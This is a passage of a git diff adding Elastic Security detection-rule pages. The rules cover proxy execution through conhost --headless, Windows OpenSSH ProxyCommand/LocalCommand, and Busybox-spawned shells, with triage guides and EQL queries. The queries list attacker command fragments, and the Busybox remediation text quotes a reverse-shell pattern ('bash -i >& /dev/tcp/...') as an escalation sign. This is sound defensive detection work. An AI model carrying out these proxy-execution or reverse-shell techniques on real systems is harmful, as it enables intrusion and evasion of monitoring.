Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-proxy-execution-via-console-window-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-proxy-execution-via-console-window-host.asciidoc new file mode 100644 index 0000000000..8a1e0ac370 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-proxy-execution-via-console-window-host.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-34-proxy-execution-via-console-window-host]] +=== Proxy Execution via Console Window Host + +Identifies abuse of the Console Window Host (conhost.exe) to execute commands via proxy. This behavior is used as a defense evasion technique to blend-in malicious activity with legitimate Windows software. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Conhost/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Proxy Execution via Console Window Host* + + + +*Possible investigation steps* + + +- What command did the headless conhost instance proxy? + - Why: `--headless` can hide the child window behind conhost, so command intent and child-process evidence outweigh conhost identity alone. + - Focus: `process.command_line` for `--headless` and the proxied family: shell, script host, retrieval, UNC, caret-escaped, batch, or scheduled-task action. + - Implication: escalate when headless conhost proxies script execution, remote retrieval, scheduled-task changes, or lateral-path commands; lower suspicion only when command, launcher, user, and host match remote-admin console management, deployment automation, or installer/update helper use and later process evidence does not contradict it. +- Is this the native conhost binary or a masqueraded copy? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`; compare the path with `C:\Windows\System32\conhost.exe`. + - Implication: escalate when conhost is renamed, unsigned, user-writable, host-new by hash, or signed by an unexpected publisher; native signed identity lowers masquerade concern but not suspicious `--headless` proxy execution. +- Which launcher produced headless conhost? + - Focus: `process.parent.executable`, `process.parent.command_line`, and `process.parent.entity_id`. + - Implication: escalate when the launcher is Office, a browser, a script host, a temp or user-writable binary, another LOLBin, or a remote-management tool outside its console-management pattern; lower suspicion when the same parent is a stable console, deployment, or update path for the same `user.id` and `host.id`. +- Do the user and session context fit the same admin or deployment use? + - Focus: `user.id`, `host.id`, `process.Ext.session_info.logon_type`, and `process.Ext.authentication_id`. + - Implication: escalate when session type, account, or authentication ID is unusual for that `host.id` and user cohort or ties to unrelated suspicious processes; lower suspicion when user, host cohort, session type, command, and lineage match the same remote-admin, deployment, or update use. +- Did headless conhost spawn the command family named in the alert? + - Focus: child process starts on `host.id` where `process.parent.entity_id` matches alert `process.entity_id`; read `process.name`, `process.executable`, and `process.command_line`. !{investigate{"description":"","label":"Child process starts from the same conhost instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is absent, query the same `host.id` with alert `process.pid` in a tight alert-time window; treat matches as weaker because PID reuse is possible. + - Implication: escalate when conhost spawns shell, script-host, downloader, scheduled-task, or payload-like children; keep scope local only when no child execution appears and earlier evidence fits the same named admin, deployment, or update use. +- If local evidence is suspicious or unresolved, is this isolated or broader proxy execution? + - Focus: process-start history for the same `host.id` and, if needed, `user.id`; compare `process.command_line`, `process.parent.executable`, and child-process patterns. + - !{investigate{"description":"","label":"Process history on the same host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Process history for the same user","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: review related alerts for the same `host.id` and `user.id`, especially script execution, downloader, scheduled-task, credential-tool, or other proxy-execution activity. + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when the same host or user shows repeated headless conhost proxy execution, suspicious launchers, or related script, downloader, scheduled-task, or credential-tool processes; lack of history does not clear suspicious command, lineage, session, or child-process evidence. + +- Escalate on unauthorized headless proxy execution plus suspicious identity, launcher, session, child-process, or repeat-alert corroboration; close only when command, identity, lineage, session, and child-process evidence bind to one named benign use case below; preserve evidence and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Remote-administration, console-management, deployment automation, installer, or update agents can launch headless conhost when a named tool uses console helpers. Confirm that native `process.executable`, stable `process.parent.executable`, `process.parent.code_signature.subject_name`, `process.parent.code_signature.trusted`, parent and child `process.command_line`, `user.id`, `host.id`, `process.Ext.session_info.logon_type`, and child-process pattern all align with that tool or product path. Tool inventories, change records, or owner confirmation can corroborate telemetry-backed use, but should not replace missing or contradictory process evidence. If command, parent, session, or child evidence diverges, or the first cohort event includes retrieval, UNC, script-host, or scheduled-task behavior outside that path, treat it as unresolved or suspicious. +- Before creating an exception, verify that native `process.executable`, parent identity, exact `process.command_line`, `user.id`, `host.id`, and session type recur across prior alerts from this rule. Build the exception from that confirmed workflow pattern; avoid exceptions on `process.name`, the conhost filename, or `--headless` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the command intent, native conhost identity, parent lineage, `user.id`, `host.id`, session type, and child-process evidence that justified closure. Create an exception only when that same admin, deployment, or update pattern recurs consistently across prior alerts. +- If suspicious but unconfirmed, preserve the alert, process tree export, command lines, hash and signer details, `process.entity_id`, `process.parent.entity_id`, `process.Ext.authentication_id`, child-process events, and any scripts or task definitions named in the command line before containment. Apply reversible containment first, such as heightened monitoring or temporary restrictions on the affected `user.id`, `host.id`, or parent tool, and avoid process termination until scope is clearer. +- If confirmed malicious, contain the host or affected account when command intent, launcher lineage, session context, or child-process evidence establishes unauthorized proxy execution. Record the process identifiers, command lines, signer and hash evidence, user and host anchors, and child-process chain before terminating processes, deleting scripts, disabling scheduled tasks, or isolating accounts. +- Eradicate only the scripts, task definitions, copied tools, or persistence mechanisms identified during the investigation, then remediate the launcher, automation path, or access path that allowed headless conhost to proxy the command. +- Rotate credentials only when the user and session evidence or adjacent case evidence confirms account misuse, remote abuse, or privileged account compromise; otherwise keep identity action proportional to the confirmed process evidence. +- After containment, scope other hosts and users for the same `process.command_line`, `process.parent.executable`, `process.hash.sha256`, parent signer, or child-process pattern. Retain the process telemetry and response notes needed to distinguish repeat benign console automation from repeat proxy execution. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "conhost.exe" and process.args : "--headless" and + process.command_line : ( + "*powershell*", "*cmd *", "*cmd.exe *", "*script*", "*mshta*", "*curl *", "*curl.exe *", "*^*^*^*", + "*.bat*", "*.cmd*", "*schtasks*", "*@SSL*", "*http*", "* \\\\*", "*.vbs*", "*.js*", "*mhsta*" + ) and + not ( + /* Winget-AutoUpdate via ServiceUI */ + ?process.parent.executable : "?:\\Program Files\\winget-autoupdate*\\serviceui.exe" or + /* Winget-AutoUpdate notification via Task Scheduler */ + ( + ?process.parent.executable : "?:\\Windows\\System32\\svchost.exe" and ?process.parent.args : "-s" and + ?process.parent.args : "Schedule" and process.command_line : "*WAU-Notify.ps1*" + ) or + /* Windows OpenSSH console host — SSH-specific detection handled by 8cd49fbc-a35a-4418-8688-133cc3a1e548 */ + ?process.parent.executable : ( + "?:\\Windows\\System32\\OpenSSH\\sshd.exe", + "?:\\Windows\\System32\\OpenSSH\\sshd-session.exe", + "?:\\Program Files\\OpenSSH*\\sshd.exe", + "?:\\Program Files\\OpenSSH*\\sshd-session.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-proxy-execution-via-windows-openssh.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-proxy-execution-via-windows-openssh.asciidoc new file mode 100644 index 0000000000..7cc1e08e95 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-proxy-execution-via-windows-openssh.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-proxy-execution-via-windows-openssh]] +=== Proxy Execution via Windows OpenSSH + +Identifies attempts to execute commands via proxy using the Windows OpenSSH client. This may indicate an attempt to bypass application control via trusted Windows binaries. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Ssh/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Proxy Execution via Windows OpenSSH* + + + +*Possible investigation steps* + + +- What OpenSSH execution path did the alert capture? + - Why: "ProxyCommand" launches a local helper through the user's shell, "LocalCommand" runs locally after connection only when "PermitLocalCommand" is enabled, and remote command options shift the action to the SSH target. + - Focus: `process.name` and `process.command_line`, separating "ProxyCommand", "LocalCommand", "RemoteCommand", chained "scp"/"sftp", shell/LOLBIN helpers, and loopback targets like "localhost" or "127.0.0.1". + - Implication: escalate when the option runs "cmd.exe", "powershell.exe", "mshta.exe", "msiexec.exe", "schtasks.exe", a downloader, script, or chained copy/execution command; close is plausible only when it stays inside a recognized bastion, transfer, or deployment pattern with no execution-oriented helper. +- Is the OpenSSH client and launcher context expected for that behavior? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.trusted`, `process.parent.executable`, and `process.parent.command_line`, checking native "C:\Windows\System32\OpenSSH\" use versus renamed or user-writable copies. + - Implication: escalate when identity or lineage is inconsistent, such as an unsigned or renamed client, a user-writable path, Office/browser/script-host ancestry, or another LOLBin as the launcher; a native signed client lowers only masquerade risk and does not clear proxy execution. +- Does the user and logon session fit recognized SSH automation on this host? + - Focus: `user.id`, `user.name`, `host.id`, `process.Ext.session_info.logon_type`, and `process.Ext.authentication_id`. + - Hint: if session origin matters, pivot on `host.id` from `process.Ext.authentication_id` to Windows Security `winlog.event_data.TargetLogonId`, then read `source.ip` and `winlog.event_data.AuthenticationPackageName`; search `winlog.event_data.SubjectLogonId` for explicit-credential event 4648. Missing Windows Security telemetry is unresolved, not benign. !{investigate{"description":"","label":"Windows Security events for the OpenSSH session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{process.Ext.authentication_id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{process.Ext.authentication_id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Implication: escalate when the session is remote-interactive, network-origin, explicit-credential, or tied to a user/host pair that does not normally run this SSH pattern; lower concern only when the same identity, launcher, and command profile are recurrent for this host and no other evidence conflicts. +- Did the client reach the destination implied by the SSH option path? + - Focus: process-scoped DNS and connections for `host.id` and `process.entity_id`; read `dns.question.name`, `dns.resolved_ip`, `destination.ip`, and `destination.port`. !{investigate{"description":"","label":"Network activity for the alerting OpenSSH process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is unavailable, rerun with `host.id` + `process.pid` in the alert window. Interpret DNS lookups separately from connections. Missing network or DNS telemetry is unresolved, not benign; loopback `destination.ip` supports proxy-execution when the command targets localhost. + - Implication: escalate when the process reaches loopback listeners, rare public infrastructure, unrelated internal systems, or admin ports outside the expected SSH workflow; bounded destinations matching the same operator and command pattern reduce scope but do not override suspicious local execution. +- Did the proxied path create local child execution or transfer artifacts? + - Focus: child starts where `process.parent.entity_id` matches `process.entity_id`, plus manually queried file events scoped to the same process; read child `process.command_line`, staged `file.path`, and rename context from `file.Ext.original.path`. !{investigate{"description":"","label":"Child process starts from the same OpenSSH instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if process-scoped pivots are unavailable, repeat with `host.id` + `process.pid` in a tight alert window and compare child commands or file writes to the OpenSSH option string. Missing file telemetry limits artifact review; it is not benign. + - Implication: escalate when OpenSSH spawns shells, script hosts, scheduled-task helpers, or drops/copies executable, archive, or script content into new paths; absence of child/file evidence keeps the case process-local only when earlier command, lineage, and destination evidence fit. +- If local evidence remains suspicious or unresolved, does the pattern recur beyond this event? + - Focus: recent alerts for `host.id`, keyed to OpenSSH proxy execution, script hosts, downloaders, scheduled tasks, credential access, or the suspicious `process.command_line` fragment. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if host scope stays unresolved, pivot to `user.id` for the same launcher, command fragment, or recovered destination pattern across other hosts. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same proxy-execution pattern, destination, or follow-on artifact appears on unrelated hosts or sessions; a single event supports closure only when the local evidence already binds to one exact recognized workflow and outside confirmation covers any legitimacy gap. +- What disposition do command intent, identity, lineage, session, destination, artifacts, and recurrence support? + - Implication: escalate for unauthorized local proxy execution, suspicious launcher/session context, rare or loopback destinations, staging, child shells, or repeated indirect execution; close only when alert-local evidence and recovery bind one recognized workflow on this host and outside confirmation verifies any telemetry gap; preserve evidence and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Recognized jump-host or bastion wrappers can use the native OpenSSH client with "ProxyCommand" for a fixed proxy helper or "RemoteCommand" for a bounded admin task. Confirm binary identity, launcher, option string, `user.id`, `host.id`, recovered destination, and child/file evidence all align with one workflow. Shell or LOLBin-bearing "ProxyCommand" and "LocalCommand" remain suspicious unless a controlled test or deployment wrapper is confirmed by telemetry and outside context. +- Recognized transfer or sync jobs can use "sftp.exe" or chained "scp" from a fixed automation account or host. Confirm `process.parent.executable`, transfer-oriented `process.command_line`, recovered `file.path`, destination evidence, `user.id`, and `host.id` stay inside that product workflow. Keep the alert suspicious if child `process.command_line` activity, scheduled-task helpers, executable staging, or SSH configuration changes diverge from the transfer pattern. +- Before creating an exception, validate recurrence for the same `process.executable`, `process.parent.executable`, option-bearing `process.command_line`, `user.id`, `host.id`, and recovered destination or transfer path. Avoid exceptions on "ssh.exe", "sftp.exe", or "Command=" alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the exact command, launcher, user, host, destination or transfer path, and session evidence that justified closure. Create an exception only for the minimum recurring workflow pattern, not for OpenSSH use in general. +- If suspicious but unconfirmed, preserve the alert, Timeline view, command line, parent/child process tree, recovered destination or DNS evidence, staged/copied files, relevant authentication records, and SSH client/server configuration files before containment or cleanup. Apply reversible containment first, such as temporary destination restrictions or heightened monitoring for the affected user and host, and avoid process termination until scope is clearer. +- If confirmed malicious, isolate the host or contain the account when command intent, launcher lineage, destination, authentication, or artifact evidence shows unauthorized proxy execution. Weigh host criticality before isolation, block confirmed malicious destinations or hashes, and record the process instance and artifact identifiers before killing processes or deleting files. +- Eradicate only the artifacts and settings found during the investigation: copied payloads, scripts, scheduled tasks, downloaded content, unauthorized "ProxyCommand", "LocalCommand", or "PermitLocalCommand" settings, and any malicious key material such as unexpected ".ssh\authorized_keys" or "%PROGRAMDATA%\ssh\administrators_authorized_keys" entries. Then remediate the launcher or access path that allowed the OpenSSH proxy launch. +- Rotate credentials, tokens, and SSH keys when authentication records, session origin, transferred files, or key artifacts show explicit-credential abuse, privileged account misuse, or unauthorized key-based access. Review adjacent admin sessions for the same `source.ip`, `host.id`, or `user.id` before restoring normal access. +- Post-incident hardening: restrict OpenSSH client use to recognized bastion, deployment, or transfer hosts where feasible; disable "PermitLocalCommand" unless required; review "%PROGRAMDATA%\ssh\ssh_config" and affected users' ".ssh\config" for unauthorized command options; retain the confirmed command, parent, destination, and user pattern for future triage and exception review. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name : ("ssh.exe", "sftp.exe") and + process.command_line : ( + "*Command=*powershell*", "*schtasks*", "*Command=*@echo off*", "*Command=*http*", + "*Command=*mshta*", "*Command=*msiexec*", "*Command=*cmd /c*", "*Command=*cmd.exe*", + "*Command=\"cmd /c*", "*LocalCommand=scp*&&*", "*LocalCommand=?scp*&&*", "*Command=*script*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-proxy-shell-execution-via-busybox.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-proxy-shell-execution-via-busybox.asciidoc new file mode 100644 index 0000000000..632e701fdc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-proxy-shell-execution-via-busybox.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-proxy-shell-execution-via-busybox]] +=== Proxy Shell Execution via Busybox + +Detects the execution of a shell through Busybox. Attackers may use this technique to execute shells while attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/gtfobins/busybox/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Proxy Shell Execution via Busybox* + + +This rule identifies Linux shells started via Busybox, indicating proxy execution to sidestep controls that focus on direct shell binaries. Adversaries leverage Busybox’s ubiquity and static build to blend in, obscure parentage, and run commands in constrained or minimal environments. A common pattern is copying a standalone busybox into /tmp on a container or embedded host, making it executable, then invoking busybox sh to run one-liners, pull payloads, and stage persistence. + + +*Possible investigation steps* + + +- Correlate the event to a user session or container exec by pivoting to TTY/session ID, SSH auth logs, and Kubernetes/Docker exec audits to verify whether it was an authorized action. +- Determine Busybox provenance by checking its path and file metadata (non-standard location, recent write, unusual owner/capabilities or symlink), confirming package ownership, and hashing against trusted repositories and threat intelligence. +- Expand the process tree 10–15 minutes around the event to find staging steps (curl/wget/tftp, chmod, mv) and post-shell behavior (reverse shells, crypto miners, persistence writes). +- Collect live context for the shell (current working directory, environment, open sockets, controlling TTY, effective user) to quickly decide if it is interactive misuse or command staging. +- Hunt across hosts for similar Busybox-to-shell chains and review persistence artifacts and new files in writable dirs (crontab, systemd units, rc files, authorized_keys, /tmp, /dev/shm) to catch follow-on activity. + + +*False positive analysis* + + +- An administrator performing recovery on a minimal host may copy a static busybox and start an interactive sh with no arguments for troubleshooting, producing a busybox-to-shell chain that is expected. +- Legitimate privilege-switch or login workflows using Busybox applets (e.g., su or login) can spawn a bare sh without -c for an authenticated session, so confirm a controlling TTY, expected user, and standard paths before treating it as malicious. + + +*Response and remediation* + + +- Immediately isolate the impacted host or container at the network level, terminate any shells whose parent is busybox, and block outbound traffic initiated by those shells (e.g., nc, curl/wget, ssh to unknown IPs). +- Identify and remove rogue busybox copies or symlinks in writable locations such as /tmp, /var/tmp, and /dev/shm by revoking execute permissions or deleting them, and capture file hashes, paths, and mtimes for evidence. +- Remove persistence and droppers created by the busybox-spawned shell by cleaning newly added cron entries under /etc/cron.*, systemd units in /etc/systemd/system, rc.local edits, and suspicious authorized_keys or ~/.bashrc/.profile changes, then reboot if kernel modules or LD_PRELOAD were modified. +- Reset passwords, rotate SSH keys and tokens used in the session, rebuild affected containers from clean images or reimage hosts if system binaries were changed, and restore services only after verifying no busybox-to-shell chains launch at startup. +- Escalate to incident response if the busybox-launched shell ran as root, established a reverse connection (e.g., bash -i >& /dev/tcp//), created SUID files, or dropped payloads in /tmp, /var/tmp, or /dev/shm, or if a new busybox binary was downloaded or touched minutes before execution. +- Harden by enforcing noexec,nosuid,nodev mounts on /tmp and /var/tmp, constraining busybox with AppArmor/SELinux to block spawning interactive shells or execution from world-writable paths, locking down container runtime exec and capabilities (e.g., disable kubectl/docker exec for non-admins, remove CAP_SYS_ADMIN), and implementing file integrity monitoring on busybox and standard shells. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "busybox" and +process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +process.command_line in ("bash", "bash-", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +not ( + process.args == "-c" or + process.parent.args : ( + "crond", "/usr/sbin/crond", "/local-registrator.sh", "/var/atlassian/application-data/bamboo-agent*" + ) or + process.parent.command_line in ( + "sh /readonly-config/fix-split-brain.sh", + "/bin/sh -c /health-check.sh || bash -c 'kill -s 15 $(pidof siridb-server) && (sleep 10; kill -s 9 $(pidof siridb-server))'" + ) or + process.command_line == "bash /etc/kafka/docker/run" or + process.parent.command_line like ( + "/bin/sh -c apk add*", "/bin/sh -c crm-cron-enabled*", "udhcpc -n -p /run/udhcpc.*", "flock -x*" + ) or + process.working_directory == "/usr/share/grafana" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-proxychains-activity.asciidoc 